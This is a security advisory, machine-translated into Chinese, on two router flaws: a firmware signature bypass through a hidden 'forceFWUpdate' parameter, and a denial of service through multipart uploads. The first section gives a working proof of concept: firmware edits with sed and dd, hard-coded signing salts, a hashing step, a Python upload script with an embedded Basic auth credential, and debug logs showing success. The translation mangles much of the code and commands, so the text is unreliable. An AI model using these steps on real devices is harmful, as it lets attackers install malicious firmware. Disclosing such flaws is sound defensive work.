绕过固件升级签名检查(Post-Auth) - cve - 2023 - 28337
当上传一个固件图像设备的更新,一个隐藏的“forceFWUpdate”参数可能会提供给力升级完成,绕过某些验证检查。终端用户可以使用此上传修改,非官方的,潜在的恶意固件到设备。
作为一个概念验证,我们下载固件V1.0.9.92_1,和修改它读V9.9.9.99_9通过运行下面的命令:
sed - i - e s / V1.0.9.92_1 / V9.9.9.99_9 / g。/ RAX30.img
接下来,我们剥头值获得的原始图像,在这种情况下,它是76个字节长。我们也使用硬编码的值创建固件签名时使用。
如果=。/ RAX30 dd。img的=图像b = 1跳过如果= = 76 dd。/ RAX30。img =头b = 1的数如果= = 76 dd。/ = header_without_hash b = 1头跳过= 36 echo - n hr89sdfgjkehx > sha_head echo - n nohsli9fjh3f > sha_tail
结合相关数据生成所需的散列。
#猫sha_head header_without_hash形象sha_tail > modified_image # openssl dgst -sha256 modified_image
更新标题使用上面的散列值并重新“形象”。The firmware will now see this as a properly signed firmware image.
以下PoC被用来演示成功的上传:
# # # # #
导入请求burp0_url = "http://123.123.123.1:80 / cgi -bin / rex_cgi ? =函数forceFWUpdate&csrftoken =1391963467“burp0_cookies ={“会话”:“72年rmsezn78dq4irbxcbowxbp8bgmo1吉隆坡“}burp0_headers ={“用户代理”:“Mozilla / 5.0 (Macintosh;Intel Mac OS X 10.15;房车:Firefox 108.0)壁虎/ 20100101 / 108.0”,“接受”:“application / json, text / javascript, * / *;q = 0.01”、“接收语言”:“en - us, en; q = 0.5”,“接受编码”:“gzip、缩小”、“X-Requested-With”:“XMLHttpRequest”、“起源”:“http://123.123.123.1”、“授权”:“基本YWRtaW46TGFicGFzczEyMyE =”、“连接”:“关闭”、“推荐人”:“http://123.123.123.1/UPG_upgrade.html”}= {“mtenFWUpload”:打开的文件(“upload_image。img”、“rb ")}requests.post(标题= burp0_headers burp0_url饼干= burp0_cookies文件=文件)
# # # # #
路由器的日志显示上传成功。
# # # # #
CGI_DEBUG > cgi_main。c: 427:输入CGI……CGI_DEBUG > cgi_main。c: 293: pData - > pBoundryStr = "676年f250848d2deaec8af8b22701d2f38“CGI_DEBUG > cgi_main。c: 453: env。reqUri /目录/ rex_cgi CGI_DEBUG > cgi_main。c: 454: env。pSetQueryString CGI_DEBUG > cgi_main (null)。c: 455: env。pGetQueryString函数= forceFWUpdate&csrftoken = 1391963467 CGI_DEBUG > cgi_main。c: 467:上传文件CGI_DEBUG > cgi_upload过程。c: 1165: content_len = 67936077 upload_type = 1 rm:不能删除“/ tmp / fw / guiCheck”:没有这样的文件或目录CGI_DEBUG > cgi_upload。c: 597: content_len = 67936077 upload_type = 1 CGI_DEBUG > cgi_upload。c: 612:开始边界= >—676年f250848d2deaec8af8b22701d2f38 < = CGI_DEBUG > cgi_upload。c: 645: upload_image文件名”。img“CGI_ERROR > cgi_upload。c: 666:图象尺寸= 67936043 CGI_DEBUG > cgi_upload。c: 673: http:统计uboot env /proc/environment CGI_DEBUG > cgi_upload / single_image使用单一的形象。c: 703:上传len = 131072 CGI_DEBUG > cgi_upload开始。c: 705: httpd:分配131072字节缓冲区来保存图像。CGI_DEBUG > cgi_upload。c: 713: 131072字节分配给图像数据在0 xb6677018 CGI_DEBUG > cgi_upload。c: 714: httpd:分配的内存。CGI_DEBUG > cgi_upload。c: 888:发现头标志,新的validImageBlockSize 130996 CGI_DEBUG > cgi_upload。c: 889: cur_ver = V1.0.9.92_1 new_ver = V9.9.9.99_9 CGI_DEBUG > cgi_upload。c: 947: 262144字节分配给图像数据在0 xb6535018 CGI_DEBUG > cgi_upload。c: 948: httpd:分配的内存。 CGI_DEBUG> cgi_upload.c:377: got rc=0 after 67935957 bytes CGI_DEBUG> cgi_upload.c:800: fgetc got EOF after 171733 bytes CGI_DEBUG> cgi_upload.c:816: searching for boundary =>--676年f250848d2deaec8af8b22701d2f38 < = CGI_DEBUG > cgi_upload。c: 820:发现边界CGI_DEBUG > cgi_upload结束。c: 834: 171693年发现边界validImageBlockSize imageSizeAcc 67935841 CGI_DEBUG > cgi_upload。c: 957:最终的图像imageSizeAcc = 67935841,结果= 0
# # # # #
文件上传拒绝服务- cve - 2023 - 28338
任何请求发送到设备的web服务包含一个“内容类型”“multipartboundary = "将导致请求主体被写入“/ tmp / mulipartFile”设备本身。一个足够大的文件将导致设备资源耗尽,导致设备变得无法使用,直到它重新启动。